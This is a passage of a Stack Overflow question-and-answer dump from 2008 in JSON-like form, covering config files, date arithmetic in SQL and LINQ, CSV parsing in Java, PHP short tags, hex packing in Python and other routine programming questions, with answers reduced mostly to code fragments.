"pm_score": 0,
"selected": false,
"text": "repr(dictionary) eval(open(\"file\").read())"
},
{
"answer_id": 200630,
"author": "S.Lott",
"author_id": 10661,
"author_profile": "https://Stackoverflow.com/users/10661",
"pm_score": 3,
"selected": false,
"text": "import # a user prefs file\ncolor = 0x010203\nfont = \"times new roman\"\nposition = ( 12, 13 )\nsize = ( 640, 480 )\n PYTHONPATH PYTHONPATH sys.path import sys\nimport os\nsys.path.insert(0,os.path.expanduser(\"~\"))\nimport userprefs \nprint userprefs.color\n"
},
{
"answer_id": 201298,
"author": "David Eyk",
"author_id": 18950,
"author_profile": "https://Stackoverflow.com/users/18950",
"pm_score": 2,
"selected": false,
"text": "pickle simplejson"
},
{
"answer_id": 202988,
"author": "Noah",
"author_id": 28035,
"author_profile": "https://Stackoverflow.com/users/28035",
"pm_score": 3,
"selected": false,
"text": "import sys\nfrom ConfigParser import *\n\nc = ConfigParser()\n\nc.add_section(\"bob\")\nc.set(\"bob\", \"colour_scheme\", \"blue\")\nc.set(\"bob\", \"british\", str(True))\n\nc.add_section(\"joe\")\nc.set(\"joe\", \"color_scheme\", \"that's 'color', silly!\")\nc.set(\"joe\", \"british\", str(False))\n\nc.write(sys.stdout) # this outputs the configuration to stdout\n # you could put a file-handle here instead\n\nfor section in c.sections(): # this is how you read the options back in\n print section\n for option in c.options(section):\n print \"\\t\", option, \"=\", c.get(section, option)\n\nprint c.get(\"bob\", \"british\") # To access the \"british\" attribute for bob directly\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200599",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11324/"
] |
200,602
|
<p>What is the best way to count the time between two datetime values fetched from MySQL when I need to count only the time between hours 08:00:00-16:00:00.</p>
<p>For example if I have values 2008-10-13 18:00:00 and 2008-10-14 10:00:00 the time difference should be 02:00:00.</p>
<p>Can I do it with SQL or what is the best way to do it? I'm building a website and using PHP.</p>
<p>Thank you for your answers.</p>
<p>EDIT: The exact thing is that I'm trying to count the time a "ticket" has been in a specific state during working hours. The time could be like a couple weeks.</p>
<p>EDIT2: I have no problems counting the actual time difference, but substracting that off-time, 00:00:00-08:00:00 and 16:00:00-00:00:00 per day.</p>
<p>-Samuli</p>
|
[
{
"answer_id": 200606,
"author": "Chris S",
"author_id": 21574,
"author_profile": "https://Stackoverflow.com/users/21574",
"pm_score": 3,
"selected": false,
"text": "mysql> SELECT TIMEDIFF('2000:01:01 00:00:00',\n -> '2000:01:01 00:00:00.000001');\n -> '-00:00:00.000001'\nmysql> SELECT TIMEDIFF('2008-12-31 23:59:59.000001',\n -> '2008-12-30 01:01:01.000002');\n -> '46:58:57.999999'\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200602",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,609
|
<p>Can you recommend a Java library for reading, parsing, validating and mapping rows in a comma separated value (CSV) file to Java value objects (JavaBeans)?</p>
|
[
{
"answer_id": 200656,
"author": "Vihung",
"author_id": 15452,
"author_profile": "https://Stackoverflow.com/users/15452",
"pm_score": 2,
"selected": false,
"text": " ColumnPositionMappingStrategy strat = new ColumnPositionMappingStrategy();\n strat.setType(YourOrderBean.class);\n String[] columns = new String[] {\"name\", \"orderNumber\", \"id\"}; // the fields to bind do in your JavaBean\n strat.setColumnMapping(columns);\n\n CsvToBean csv = new CsvToBean();\n List list = csv.parse(strat, yourReader);\n"
},
{
"answer_id": 200793,
"author": "kolrie",
"author_id": 14540,
"author_profile": "https://Stackoverflow.com/users/14540",
"pm_score": 2,
"selected": false,
"text": "@FixedLengthRecord()\npublic class Customer {\n @FieldFixedLength(4)\n public Integer custId;\n\n @FieldAlign(alignMode=AlignMode.Right)\n @FieldFixedLength(20)\n public String name;\n\n @FieldFixedLength(3)\n public Integer rating;\n\n @FieldTrim(trimMode=TrimMode.Right)\n @FieldFixedLength(10)\n @FieldConverter(converter = ConverterKind.Date, \n format = \"dd-MM-yyyy\")\n public Date addedDate;\n\n @FieldFixedLength(3)\n @FieldOptional\n public String stockSimbol; \n}\n ....|....1....|....2....|....3....|....4 \n1 Antonio Pereira 10012-12-1978ABC\n2 Felipe Coury 201-01-2007\n3 Anderson Polga 4212-11-2007DEF \n FileHelperEngine<Customer> engine = \n new FileHelperEngine<Customer>(Customer.class); \nList<Customer> customers = \n new ArrayList<Customer>();\n\ncustomers = engine.readResource(\n \"/samples/customers-fixed.txt\");\n"
},
{
"answer_id": 12504722,
"author": "James Bassett",
"author_id": 1068649,
"author_profile": "https://Stackoverflow.com/users/1068649",
"pm_score": 5,
"selected": false,
"text": "CsvDozerBeanReader CsvBeanReader age,consentGiven,questionNo1,answer1,questionNo2,answer2,questionNo3,answer3\n18,Y,1,Twelve,2,Albert Einstein,3,Big Bang Theory\n,Y,1,Thirteen,2,Nikola Tesla,3,Stargate\n42,N,1,,2,Carl Sagan,3,Star Wars\n CsvDozerBeanMapper firstName address.country.code middleNames[1] person.middleNames[1] private static final String[] FIELD_MAPPING = new String[] { \n \"age\", // simple field mapping (like for CsvBeanReader)\n \"consentGiven\", // as above\n \"answers[0].questionNo\", // indexed (first element) + deep mapping\n \"answers[0].answer\", \n \"answers[1].questionNo\", // indexed (second element) + deep mapping\n \"answers[1].answer\", \n \"answers[2].questionNo\", \n \"answers[2].answer\" };\n final CellProcessor[] processors = new CellProcessor[] { \n new Optional(new ParseInt()), // age\n new ParseBool(), // consent\n new ParseInt(), // questionNo 1\n new Optional(), // answer 1\n new ParseInt(), // questionNo 2\n new Optional(), // answer 2\n new ParseInt(), // questionNo 3\n new Optional() // answer 3\n};\n Reader Reader read() null ICsvDozerBeanReader beanReader = null;\ntry {\n beanReader = new CsvDozerBeanReader(new FileReader(CSV_FILENAME),\n CsvPreference.STANDARD_PREFERENCE);\n\n beanReader.getHeader(true); // ignore the header\n beanReader.configureBeanMapping(SurveyResponse.class, FIELD_MAPPING);\n\n SurveyResponse surveyResponse;\n while( (surveyResponse = \n beanReader.read(SurveyResponse.class, processors)) != null ) {\n System.out.println(\n String.format(\"lineNo=%s, rowNo=%s, surveyResponse=%s\",\n beanReader.getLineNumber(), beanReader.getRowNumber(), \n surveyResponse));\n }\n\n} finally {\n if( beanReader != null ) {\n beanReader.close();\n }\n}\n lineNo=2, rowNo=2, surveyResponse=SurveyResponse [age=18, consentGiven=true, answers=[Answer [questionNo=1, answer=Twelve], Answer [questionNo=2, answer=Albert Einstein], Answer [questionNo=3, answer=Big Bang Theory]]]\nlineNo=3, rowNo=3, surveyResponse=SurveyResponse [age=null, consentGiven=true, answers=[Answer [questionNo=1, answer=Thirteen], Answer [questionNo=2, answer=Nikola Tesla], Answer [questionNo=3, answer=Stargate]]]\nlineNo=4, rowNo=4, surveyResponse=SurveyResponse [age=42, consentGiven=false, answers=[Answer [questionNo=1, answer=null], Answer [questionNo=2, answer=Carl Sagan], Answer [questionNo=3, answer=Star Wars]]]\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200609",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15452/"
] |
200,617
|
<p>If I have a <code>Linq</code> to <code>SQL</code> expression like this:</p>
<pre><code> from subscription in dbContext.Subscriptions
where subscription.Expires > DateTime.Now
select subscription
</code></pre>
<p>I want this to to use the SQL Servers <code>GETDATE()</code> function instead of the time of the machine running the <code>C#</code> program.</p>
<p>The next question would be how to translate this:</p>
<pre><code>DateTime.Now.AddDays(2)
</code></pre>
<p>to this:</p>
<pre><code>DATEADD(dd, 2, GETDATE())
</code></pre>
|
[
{
"answer_id": 200961,
"author": "Panos",
"author_id": 8049,
"author_profile": "https://Stackoverflow.com/users/8049",
"pm_score": 3,
"selected": false,
"text": "public partial class YourDataContext\n{\n public DateTime GetDate()\n {\n return ExecuteQuery<DateTime>(\"SELECT GETDATE()\").First();\n }\n}\n from subscription in dbContext.Subscriptions\nwhere subscription > dbContext.GetDate().AddDays(2)\nselect subscription\n"
},
{
"answer_id": 201063,
"author": "liggett78",
"author_id": 19762,
"author_profile": "https://Stackoverflow.com/users/19762",
"pm_score": 6,
"selected": true,
"text": "[Function(Name=\"GetDate\", IsComposable=true)] \n public DateTime GetSystemDate() \n { \n MethodInfo mi = MethodBase.GetCurrentMethod() as MethodInfo; \n return (DateTime)this.ExecuteMethodCall(this, mi, new object[]{}).ReturnValue; \n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200617",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8547/"
] |
200,640
|
<p>Here's the information <a href="http://www.php.net/manual/en/language.basic-syntax.php" rel="noreferrer">according to the official documentation</a>:</p>
<blockquote>
<p>There are four different pairs of
opening and closing tags which can be
used in PHP. Two of those, <code><?php ?></code>
and <code><script language="php"> </script></code>,
are always available. The other two
are short tags and ASP style tags, and
can be turned on and off from the
php.ini configuration file. As such,
while some people find short tags and
ASP style tags convenient, they are
less portable, and <strong>generally not
recommended</strong>.</p>
</blockquote>
<p>In my experience most servers <em>do</em> have short tags enabled. Typing</p>
<pre><code><?=
</code></pre>
<p>is far more convenient than typing</p>
<pre><code><?php echo
</code></pre>
<p>The programmers convenience is an important factor, so <strong>why</strong> are they not recommended?</p>
|
[
{
"answer_id": 200650,
"author": "ConroyP",
"author_id": 2287,
"author_profile": "https://Stackoverflow.com/users/2287",
"pm_score": 4,
"selected": false,
"text": "<?php <?"
},
{
"answer_id": 200666,
"author": "Oli",
"author_id": 12870,
"author_profile": "https://Stackoverflow.com/users/12870",
"pm_score": 10,
"selected": true,
"text": "<? <?= <?= <? <?php <?= ... ?> <?php echo ... ?>"
},
{
"answer_id": 203181,
"author": "Paolo Bergantino",
"author_id": 16417,
"author_profile": "https://Stackoverflow.com/users/16417",
"pm_score": 7,
"selected": false,
"text": "<?=$whatever?>"
},
{
"answer_id": 207113,
"author": "coderGeek",
"author_id": 28426,
"author_profile": "https://Stackoverflow.com/users/28426",
"pm_score": -1,
"selected": false,
"text": "<% ... %>"
},
{
"answer_id": 223572,
"author": "Kornel",
"author_id": 27009,
"author_profile": "https://Stackoverflow.com/users/27009",
"pm_score": 1,
"selected": false,
"text": "<?= htmlspecialchars(…) ?> echo htmlspecialchars() h() <?php"
},
{
"answer_id": 223619,
"author": "Jake McGraw",
"author_id": 302,
"author_profile": "https://Stackoverflow.com/users/302",
"pm_score": 5,
"selected": false,
"text": "<?php and <?php echo\n <? and <?=\n"
},
{
"answer_id": 1256508,
"author": "stereoscott",
"author_id": 149503,
"author_profile": "https://Stackoverflow.com/users/149503",
"pm_score": 2,
"selected": false,
"text": "<% <? <?php"
},
{
"answer_id": 1697672,
"author": "Jimmer",
"author_id": 206364,
"author_profile": "https://Stackoverflow.com/users/206364",
"pm_score": 2,
"selected": false,
"text": ".htaccess php.ini php_flag short_open_tag on\n"
},
{
"answer_id": 5652782,
"author": "Adrian Judd",
"author_id": 706498,
"author_profile": "https://Stackoverflow.com/users/706498",
"pm_score": 2,
"selected": false,
"text": "{$myString|escape}\n <?= htmlspecialchars($myString) ?> \n"
},
{
"answer_id": 6064813,
"author": "dukeofgaming",
"author_id": 156257,
"author_profile": "https://Stackoverflow.com/users/156257",
"pm_score": 7,
"selected": false,
"text": "<?="
},
{
"answer_id": 6175750,
"author": "Oliver Charlesworth",
"author_id": 129570,
"author_profile": "https://Stackoverflow.com/users/129570",
"pm_score": 4,
"selected": false,
"text": "<?php ?>"
},
{
"answer_id": 6175794,
"author": "Kumar",
"author_id": 523794,
"author_profile": "https://Stackoverflow.com/users/523794",
"pm_score": 2,
"selected": false,
"text": "<?php"
},
{
"answer_id": 7080182,
"author": "James Alday",
"author_id": 463935,
"author_profile": "https://Stackoverflow.com/users/463935",
"pm_score": 4,
"selected": false,
"text": "<?="
},
{
"answer_id": 10245680,
"author": "AnkTech Devops",
"author_id": 1346125,
"author_profile": "https://Stackoverflow.com/users/1346125",
"pm_score": 2,
"selected": false,
"text": "<?"
},
{
"answer_id": 10816068,
"author": "brunoais",
"author_id": 551625,
"author_profile": "https://Stackoverflow.com/users/551625",
"pm_score": 4,
"selected": false,
"text": "<?="
},
{
"answer_id": 22285155,
"author": "James",
"author_id": 2632129,
"author_profile": "https://Stackoverflow.com/users/2632129",
"pm_score": 2,
"selected": false,
"text": "<?= <?php echo <?php echo <?= <?= <?php echo <?= <?php echo <?php"
},
{
"answer_id": 33115089,
"author": "M50Scripts",
"author_id": 3680252,
"author_profile": "https://Stackoverflow.com/users/3680252",
"pm_score": 0,
"selected": false,
"text": "<?php ?> <?=$variable;?> <?php echo $variable;?>"
},
{
"answer_id": 33979966,
"author": "Fatih Akgun",
"author_id": 5149281,
"author_profile": "https://Stackoverflow.com/users/5149281",
"pm_score": 0,
"selected": false,
"text": "<? <?php find . -name \"*.php\" -print0 | xargs -0 perl -pi -e 's/<\\?(?!php|=|xml|mso| )/<\\?php /g'\n <? <?php find . -name \"*.php\" -print0 | xargs -0 perl -pi -e 's/<\\? /<\\?php /g'\n"
},
{
"answer_id": 49876632,
"author": "Manngo",
"author_id": 1413856,
"author_profile": "https://Stackoverflow.com/users/1413856",
"pm_score": 2,
"selected": false,
"text": "<% … %> <? … ?> short_open_tag <?=… ?> short_open_tag <? … ?> <?php ?> <?= ?>"
},
{
"answer_id": 55254513,
"author": "GaziAnis",
"author_id": 10995854,
"author_profile": "https://Stackoverflow.com/users/10995854",
"pm_score": 1,
"selected": false,
"text": " $a =10;\n <?= $a;//10 \n echo \"Hellow\";//\n echo \"Hellow\";\n\n ?>\n <html>\n<head>\n<title></title>\n</head> \n<body>\n<p>hellow everybody<?= hi;?></p>\n<p>hellow everybody </p> \n<p>hellow everybody </p> \n</body>\n</html>\n"
},
{
"answer_id": 57755841,
"author": "Blackbam",
"author_id": 576746,
"author_profile": "https://Stackoverflow.com/users/576746",
"pm_score": 3,
"selected": false,
"text": "<?php /* code goes here */ ?>\n <?= /* code goes here */ ?>\n <? /* code goes here */ ?>"
},
{
"answer_id": 58043075,
"author": "GaziAnis",
"author_id": 10995854,
"author_profile": "https://Stackoverflow.com/users/10995854",
"pm_score": 1,
"selected": false,
"text": "<?php ?> <? ?> <?="
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200640",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1896/"
] |
200,662
|
<p>Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page?</p>
<p>On the server we have access to PHP.</p>
|
[
{
"answer_id": 200672,
"author": "Kent Fredric",
"author_id": 15614,
"author_profile": "https://Stackoverflow.com/users/15614",
"pm_score": 3,
"selected": true,
"text": "<html>\n <body>\n <image here/>\n <div id=\"content\" style=\"display:none;\" >\n\n </div>\n <script type=\"psudocode\"> \n when(image.loaded){ \n $(\"#content\").show();\n }\n </script>\n </body>\n</html>\n"
},
{
"answer_id": 200699,
"author": "gnud",
"author_id": 27204,
"author_profile": "https://Stackoverflow.com/users/27204",
"pm_score": 2,
"selected": false,
"text": "<html><head><!-- head section --></head>\n<body>\n <div id=\"container\">\n <script type=\"text/javascript\">\n <!--\n document.getElementById('container').style.display = 'none';\n -->\n </script>\n Content goes here\n </div>\n <script type=\"text/javascript\">\n <!--\n document.getElementById('container').style.display = 'block';\n -->\n </script>\n</body></html>\n"
},
{
"answer_id": 200751,
"author": "kentaromiura",
"author_id": 27340,
"author_profile": "https://Stackoverflow.com/users/27340",
"pm_score": 2,
"selected": false,
"text": "<html><head>\n<script type=\"text/javascript\">\n//Hide on load\nonload=function(){\n document.body.style.display=\"none\";\n var imag = new Image();\n\n imag.onload=function(){\n var main = document.body;\n main.style.backgroundImage=\"url(\"+this.src+\")\";\n main.style.display=\"\";\n\n };\n imag.src=\"http://dayton.hq.nasa.gov/IMAGES/MEDIUM/GPN-2000-001935.jpg\";\n}\n</script>\n</head>\n<body>\n YOU CAN' T SEE MEE!!\n</body>\n</html>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200662",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4639/"
] |
200,663
|
<p>I need a way to get the elapsed time (wall-clock time) since a program started, in a way that is resilient to users meddling with the system clock.</p>
<p>On windows, the non standard clock() implementation doesn't do the trick, as it appears to work just by calculating the difference with the time sampled at start up, so that I get negative values if I "move the clock hands back".</p>
<p>On UNIX, clock/getrusage refer to system time, whereas using function such as gettimeofday to sample timestamps has the same problem as using clock on windows.</p>
<p>I'm not really interested in precision, and I've hacked a solution by having a half a second resolution timer spinning in the background countering the clock skews when they happen
(if the difference between the sampled time and the expected exceeds 1 second i use the expected timer for the new baseline) but I think there must be a better way.</p>
|
[
{
"answer_id": 201651,
"author": "shodanex",
"author_id": 11589,
"author_profile": "https://Stackoverflow.com/users/11589",
"pm_score": 2,
"selected": false,
"text": "static void timer_thread(void * arg)\n{\n struct timespec delay;\n unsigned int msecond_delay = ((app_state_t*)arg)->msecond_delay;\n\n delay.tv_sec = 0;\n delay.tv_nsec = msecond_delay * 1000000;\n\n while(1) {\n some_global_counter_increment();\n nanosleep(&delay, NULL);\n }\n}\n app_state_t"
},
{
"answer_id": 812472,
"author": "Kristopher Johnson",
"author_id": 1175,
"author_profile": "https://Stackoverflow.com/users/1175",
"pm_score": 2,
"selected": false,
"text": "clock_gettime() CLOCK_MONOTONIC"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200663",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,676
|
<p>I want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C).</p>
<pre><code>char buf[1000]; //bad coding
unsigned __int64 l = 12345678;
char t1[6] = "test1";
char t2[6] = "test2";
sprintf(buf, "%lli, %s, %s", l, t1, t2);
</code></pre>
<p>gives the result</p>
<pre><code>12345678, (null), test1
</code></pre>
<p>(watch that <code>test2</code> is not printed)</p>
<p>and <code>l = 123456789012345</code> it gives an exception handle</p>
<p>any suggestions?</p>
|
[
{
"answer_id": 200696,
"author": "gimel",
"author_id": 6491,
"author_profile": "https://Stackoverflow.com/users/6491",
"pm_score": -1,
"selected": false,
"text": "additionaltext char * long int %s (null)"
},
{
"answer_id": 200763,
"author": "ChrisN",
"author_id": 3853,
"author_profile": "https://Stackoverflow.com/users/3853",
"pm_score": 4,
"selected": true,
"text": "unsigned __int64 %I64u %lli %lli sprintf(buf, \"%I64u, %s, %s\", l, t1, t2);\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200676",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27800/"
] |
200,686
|
<p>I'm having a quite complex model with many fields, <code>has_many</code> associations, images added by <code>image_column</code> etc...</p>
<p>The New object will be added by a multi page form (8 steps) - How should I accomplish validation and propagation between those steps?</p>
<p>I think <code>validation_group</code> could be useful for defining validations for each step, what about overall design?</p>
|
[
{
"answer_id": 361120,
"author": "Sarah Vessels",
"author_id": 38743,
"author_profile": "https://Stackoverflow.com/users/38743",
"pm_score": 2,
"selected": false,
"text": "step_1 step_2 step_3 step_2 step_2 params[:name] params[:email] step_3 params[:age] params[:gender]"
},
{
"answer_id": 501847,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "class Campaign < ActiveRecord::Base\n with_options(:if => lambda { |campaign| campaign.on_or_past_step(:spam_can) }) do |spam_can|\n spam_can.validates_associated :spam_can\n spam_can.validates_presence_of :spam_can\n end\n def on_or_past_step\n :\n :\n end\nend\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200686",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17405/"
] |
200,691
|
<p>How can I use/display characters like ♥, ♦, ♣, or ♠ in Java/Eclipse?</p>
<p>When I try to use them directly, e.g. in the source code, Eclipse cannot save the file.</p>
<p>What can I do?</p>
<p>Edit: How can I find the unicode escape sequence?</p>
|
[
{
"answer_id": 200708,
"author": "Joe Lencioni",
"author_id": 18986,
"author_profile": "https://Stackoverflow.com/users/18986",
"pm_score": 6,
"selected": true,
"text": "♥ \\u2665\n♦ \\u2666\n♣ \\u2663\n♠ \\u2660\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200691",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12860/"
] |
200,721
|
<p>I'm interested in compilers, interpreters and languages.</p>
<p>What is the most interesting, but forgotten or unknown, language you know about? And more importantly, why? </p>
<p>I'm interested both in compiled, interpreted and VM languages, but <em>not</em> esoteric languages like Whitespace or BF. <br>Open source would be a plus, of course, since I plan to study and hopefully learn from it.</p>
|
[
{
"answer_id": 201084,
"author": "Greg Mattes",
"author_id": 13940,
"author_profile": "https://Stackoverflow.com/users/13940",
"pm_score": 1,
"selected": false,
"text": "COME FROM GOTO"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200721",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27204/"
] |
200,724
|
<p>Is there a way to have XAML properties scale along with the size of the uielements they belong to?</p>
<p>In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. </p>
<p>It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size <em>and then</em> the scaletransform is applied. So I'm stuff with a sort of nonscalable control.</p>
<p>I'm a bit new to WPF, so there might be a straightforward way to do this...</p>
|
[
{
"answer_id": 200909,
"author": "Enrico Campidoglio",
"author_id": 26396,
"author_profile": "https://Stackoverflow.com/users/26396",
"pm_score": 2,
"selected": true,
"text": "<Button>\n <Button.Template>\n <ControlTemplate TargetType={x:Type Button}>\n <Border Width=\"{TemplateBinding Property=ActualWidth}\"\n Height=\"{TemplateBinding Property=ActualHeight}\">\n <ContentPresenter />\n </Border>\n </ControlTemplate>\n </Button.Template>\n</Button>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200724",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6251/"
] |
200,729
|
<p>An initial draft of requirements specification has been completed and now it is time to take stock of requirements, <a href="https://stackoverflow.com/questions/186716/when-reviewing-requirements-specification-what-deadly-sins-need-to-be-addressed">review the specification</a>. Part of this process is to make sure that there are no sizeable gaps in the specification. Needless to say that the gaps lead to highly inaccurate estimates, inevitable scope creep later in the project and ultimately to a death march.</p>
<p><strong>What are the good, efficient techniques for pinpointing missing and implicit requirements?</strong></p>
<ul>
<li>This question is about practical techiniques, not general advice, principles or guidelines.</li>
<li>Missing requirements is anything crucial for completeness of the product or service but not thought of or forgotten about,</li>
<li>Implicit requirements are something that users or customers naturally assume is going to be a standard part of the software without having to be explicitly asked for.</li>
</ul>
<p><sub>I am happy to re-visit accepted answer, as long as someone submits better, more comprehensive solution.</sub></p>
|
[
{
"answer_id": 245832,
"author": "Steven A. Lowe",
"author_id": 9345,
"author_profile": "https://Stackoverflow.com/users/9345",
"pm_score": 3,
"selected": true,
"text": "acquisition --> stewardship --> disposal\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200729",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22088/"
] |
200,737
|
<p>I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this.</p>
<p>on Linux platforms i can do it by using following way.</p>
<pre><code>char exepath[1024] = {0};
char procid[1024] = {0};
char exelink[1024] = {0};
sprintf(procid, "%u", getpid());
strcpy(exelink, "/proc/");
strcat(exelink, procid);
strcat(exelink, "/exe");
readlink(exelink, exepath, sizeof(exepath));
</code></pre>
<p>Here exepath gives us the full path of the executable.</p>
<p>Similarly for windows we do it using </p>
<pre><code>GetModuleFileName(NULL, exepath, sizeof(exepath)); /* get fullpath of the service */
</code></pre>
<p>Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.</p>
|
[
{
"answer_id": 201248,
"author": "Caleb Huitt - cjhuitt",
"author_id": 9876,
"author_profile": "https://Stackoverflow.com/users/9876",
"pm_score": 0,
"selected": false,
"text": "int main( int argc, char** argv )\n{\n string full_prog_path = argv[0];\n if ( full_prog_path[0] == \"/\" )\n { // It was specified absolutely; no processing necessary.\n }\n else\n {\n string check_cwd = getcwd();\n check_cwd += argv[0];\n if ( FileExists( check_cwd ) )\n { // It was specified relatively.\n full_prog_path = check_cwd;\n }\n else\n { // Check through the path to find it\n string path = getenv( \"PATH\" );\n list<string> paths = path.split( \":\" );\n foreach( test_path, paths )\n {\n if ( FileExists( test_path + argv[0] ) )\n { // We found the first path entry with the program\n full_prog_path = test_path + argv[0];\n break;\n }\n }\n }\n }\n\n cout << \"Program path: \" << full_prog_path << endl;\n\n return 0;\n}\n"
},
{
"answer_id": 275706,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "$ grep PATH_MAX /usr/include/linux/limits.h \n#define PATH_MAX 4096 /* # chars in a path name */\n #include <limits.h>\n...\n char exepath[PATH_MAX] = {0};\n readlink(\"/proc/self/exe\", exepath, sizeof(exepath));\n shl_get_r() desc.filename execve(2) $PATH putenv(\"PATH=some:new:path\") ./a.out chdir(2)"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200737",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27804/"
] |
200,738
|
<p>Using the PHP <a href="http://www.php.net/pack" rel="noreferrer">pack()</a> function, I have converted a string into a binary hex representation:</p>
<pre><code>$string = md5(time); // 32 character length
$packed = pack('H*', $string);
</code></pre>
<p>The H* formatting means "Hex string, high nibble first".</p>
<p>To unpack this in PHP, I would simply use the <a href="http://www.php.net/unpack" rel="noreferrer">unpack()</a> function with the H* format flag.</p>
<p>How would I unpack this data in Python?</p>
|
[
{
"answer_id": 200761,
"author": "MvdD",
"author_id": 18044,
"author_profile": "https://Stackoverflow.com/users/18044",
"pm_score": 3,
"selected": false,
"text": ">>> from struct import *\n>>> pack('hhl', 1, 2, 3)\n'\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03'\n>>> unpack('hhl', '\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03')\n(1, 2, 3)\n>>> calcsize('hhl')\n8\n"
},
{
"answer_id": 200861,
"author": "Brian",
"author_id": 9493,
"author_profile": "https://Stackoverflow.com/users/9493",
"pm_score": 4,
"selected": false,
"text": "hex_string = 'abcdef12'\n\nhexdigits = [int(x, 16) for x in hex_string]\ndata = ''.join(struct.pack('B', (high <<4) + low) \n for high, low in zip(hexdigits[::2], hexdigits[1::2]))\n >>> data = hex_string.decode('hex')\n>>> data\n'\\xab\\xcd\\xef\\x12'\n >>> data.encode('hex')\n'abcdef12'\n >>> x = md5.md5('some string')\n>>> x.digest()\n'Z\\xc7I\\xfb\\xee\\xc96\\x07\\xfc(\\xd6f\\xbe\\x85\\xe7:'\n >>> x.digest().decode('hex')\n'acbd18db4cc2f85cedef654fccc4a4d8'\n>>> x.hexdigest()\n'acbd18db4cc2f85cedef654fccc4a4d8'\n"
},
{
"answer_id": 201325,
"author": "Dan Lenski",
"author_id": 20789,
"author_profile": "https://Stackoverflow.com/users/20789",
"pm_score": 5,
"selected": true,
"text": "binascii >>> import binascii\n>>> print binascii.hexlify(\"ABCZ\")\n'4142435a'\n>>> print binascii.unhexlify(\"4142435a\")\n'ABCZ'\n hashlib.md5 hexdigest()"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200738",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2183/"
] |
200,742
|
<p>I have the following line of text</p>
<pre><code>Reference=*\G{7B35DDAC-FFE2-4435-8A15-CF5C70F23459}#1.0#0#..\..\..\bin\App Components\AcmeFormEngine.dll#ACME Form Engine
</code></pre>
<p>and wish to grab the following as two separate capture groups:</p>
<pre><code>AcmeFormEngine.dll
ACME Form Engine
</code></pre>
<p>Can anyone help?</p>
|
[
{
"answer_id": 200758,
"author": "Bartek Szabat",
"author_id": 23774,
"author_profile": "https://Stackoverflow.com/users/23774",
"pm_score": 1,
"selected": false,
"text": " using System.Text.RegularExpressions;\n\n Regex regex = new Regex(\n @\"\\\\(?<filename>[\\w\\.]+)\\#(?<comment>[\\w ]+)$\",\n RegexOptions.IgnoreCase\n | RegexOptions.Compiled\n );\n"
},
{
"answer_id": 200762,
"author": "Matthew Scharley",
"author_id": 15537,
"author_profile": "https://Stackoverflow.com/users/15537",
"pm_score": 1,
"selected": false,
"text": "Regex r = new Regex(\"\\\\(.+?)\\#(.+?)$\");\n '$' \"\\#(.+?)\" \"\\\\(.+?)\""
},
{
"answer_id": 200973,
"author": "Gishu",
"author_id": 1695,
"author_profile": "https://Stackoverflow.com/users/1695",
"pm_score": 2,
"selected": true,
"text": "\\\\([^\\\\/?\"<>|]+?)\\#([^\\\\/?\"<>|]+?)[\\r\\n]*$\n e.g. F5C70F23459}#1.0#0#..\\..\\..\\bin\\App Components\\Acme_Form-Engine.dll#ACME Form Engine\ngroup#1 => Acme_Form-Engine.dll\ngroup#2 => ACME Form Engine\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200742",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,743
|
<p>I need a WiX 3 script to display to display only 2 dialogs: Welcome & Completed. Thats it no need for EULA, folder selection etc. All help appreciated.</p>
|
[
{
"answer_id": 259685,
"author": "CheGueVerra",
"author_id": 17787,
"author_profile": "https://Stackoverflow.com/users/17787",
"pm_score": 7,
"selected": true,
